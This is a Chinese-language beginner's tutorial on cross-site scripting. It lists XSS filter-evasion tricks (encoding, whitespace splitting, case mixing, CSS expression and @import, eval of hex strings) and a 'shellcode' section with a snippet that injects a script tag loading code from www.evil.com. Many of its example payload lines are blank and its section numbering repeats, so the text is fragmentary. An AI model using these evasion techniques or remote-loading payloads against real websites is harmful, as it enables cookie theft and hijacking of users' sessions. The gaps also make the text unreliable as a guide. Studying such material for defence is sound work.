XSS_1

简介:

初学xss,xss分为三类。包括反射型,储存型和基于DOM型

一.XSS使用方法

1.简单XSS




所有代码

2.绕过XSS-Filter

(1)利用<>标记注射html/javascript


(2)利用html标签执行xss(需支持JavaScript:[code]伪协议)

href= lowsrc= bgsound= background= value= action= dynsrc=这些都可以用来尝试

(3)空格回车Tab


注意中间的间隔是由Tab添加的。当然也可以使用空格,回车
原因主要是因为 javascript通常以;结尾,所以,没有把换行符解释为终止符

(4)对标签属性值转码

原句:
转码后:

可以看出将t的ASCII码116用"t"表示,:表示为":"
同理,也可以将,等插入到javascript或VBScript的头部;
Tab的 和换行的 和回车的 可以被插入到任意地方。
相当于, 相当于 ;

(5)产生自己的事件


当鼠标点击按钮后,触发事件。或者加载图片出错,触发事件。
(onerror是img标记的一个事件,只要页面中发生错误,就被触发)

(6)利用css跨站

//IE5以后支持expression

同样也可以将xss代码,写在文件里,利用link或者@import将其导入,
已达到注入的目的

(7)扰乱过滤规则

正常的:

转换大小写:

大小写混合:

不用双引号用单引号:

不用引号:

没有空格:
mars

使用expression时构造全角字符:
样式表中用/**/或\或\0都被忽略:
@\0im\port'\0ja\vasc\ript:alert("xss")'; css中关键字转码:

个别浏览器问题:

转换大小写,大小写混合,不用双引号用单引号,不用引号,没有空格,
使用expression时构造全角字符,样式表中用/**/或\或\0都被忽略,
css中关键字转码,个别浏览器问题等都可以用来过滤

3.利用字符编码

十进制转码:

也可以在十进制字符后加;或� � �;等。例:



除了十进制也可用十六进制。
在javascriptzj中有一个eval()函数,可以用\连接十六进制字符串,
然后用eval()执行


eval()也可以执行十进制,不过需要String.fromCharCode()函数配合
string.fromcharcode()用于将字符串转化为ASCII

原码:
转换后:

此外,样式表等也支持用\连接十六进制
还有加密等方法
"### 4.拆分跨站法

由于字数限制等原因,将注入代码拆分开来写










在使用拆分法时如果是一次注入,可以用/**/将中间的代码注释掉

4.Shellcode的调用

(1)远程调用JS

var s=document.createElement("script");//创建新元素script
s.src="http://www.evil.com/xss.js";
//把script的src属性设置成http ,xss.js里有shellcode代码
document.getElementaByTagName("head")[0].appendChild(s);
/*查找并返回文档的第一个元素,再用appendChild()调用元素
参数s,追加到指定节点的子节点列表的最后一个*/

(2)使用window.location.hash

http...?sort=">#alert('xss')

subst()可从字符串中抽取start(这里是1)开始的指定字符,即alert('xss')

(3)XSS Downloader

可以利用XMLHTTP技术等方法,远程读取shellcode代码

(4)备选储存技术

因为cookie等是客户端储存,可以利用XSS储存进去,然后把相关信息打印出来

你可能感兴趣的:(XSS_1)